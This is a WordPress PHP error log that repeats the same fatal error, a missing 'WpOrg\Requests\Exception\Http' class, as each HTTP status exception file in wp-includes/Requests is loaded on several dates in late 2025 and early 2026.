[24-Dec-2025 14:42:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[24-Dec-2025 14:42:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[24-Dec-2025 14:42:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[24-Dec-2025 14:42:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[24-Dec-2025 14:42:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[24-Dec-2025 14:42:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[24-Dec-2025 14:42:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[24-Dec-2025 14:42:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[24-Dec-2025 14:42:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[24-Dec-2025 14:42:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[24-Dec-2025 14:42:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[24-Dec-2025 14:42:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[24-Dec-2025 14:42:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[24-Dec-2025 14:42:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[24-Dec-2025 14:42:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[24-Dec-2025 14:42:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[24-Dec-2025 14:42:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[24-Dec-2025 14:42:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[24-Dec-2025 14:42:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[24-Dec-2025 14:42:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[24-Dec-2025 14:42:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[24-Dec-2025 14:42:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[24-Dec-2025 14:43:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[24-Dec-2025 14:43:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[24-Dec-2025 14:43:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[24-Dec-2025 14:43:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[24-Dec-2025 14:43:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[24-Dec-2025 14:43:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[24-Dec-2025 14:43:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[24-Dec-2025 14:43:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[24-Dec-2025 14:43:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[24-Dec-2025 15:07:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[24-Dec-2025 15:07:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[24-Dec-2025 15:07:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[24-Dec-2025 15:07:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[24-Dec-2025 15:07:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[24-Dec-2025 15:07:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[24-Dec-2025 15:07:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[24-Dec-2025 15:07:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[24-Dec-2025 15:07:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[24-Dec-2025 15:07:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[24-Dec-2025 15:07:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[24-Dec-2025 15:07:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[24-Dec-2025 15:07:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[24-Dec-2025 15:07:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[24-Dec-2025 15:07:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[24-Dec-2025 15:07:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[24-Dec-2025 15:07:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[24-Dec-2025 15:07:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[24-Dec-2025 15:07:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[24-Dec-2025 15:07:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[24-Dec-2025 15:07:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[24-Dec-2025 15:08:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[24-Dec-2025 15:08:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[24-Dec-2025 15:08:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[24-Dec-2025 15:08:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[24-Dec-2025 15:08:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[24-Dec-2025 15:08:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[24-Dec-2025 15:08:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[24-Dec-2025 15:08:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[24-Dec-2025 15:08:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[24-Dec-2025 15:08:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[24-Dec-2025 15:08:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[24-Dec-2025 15:08:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[04-Jan-2026 10:03:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[04-Jan-2026 10:03:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[04-Jan-2026 10:03:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[04-Jan-2026 10:03:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Jan-2026 10:03:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[04-Jan-2026 10:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[04-Jan-2026 10:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[04-Jan-2026 10:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[04-Jan-2026 10:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[04-Jan-2026 10:03:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[04-Jan-2026 10:03:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[04-Jan-2026 10:03:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[04-Jan-2026 10:03:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[04-Jan-2026 10:03:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[04-Jan-2026 10:03:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[04-Jan-2026 10:03:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[04-Jan-2026 10:03:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[04-Jan-2026 10:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[04-Jan-2026 10:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[04-Jan-2026 10:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[04-Jan-2026 10:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[04-Jan-2026 10:03:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[04-Jan-2026 10:03:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[04-Jan-2026 10:03:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[04-Jan-2026 10:03:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[04-Jan-2026 10:03:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[04-Jan-2026 10:03:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
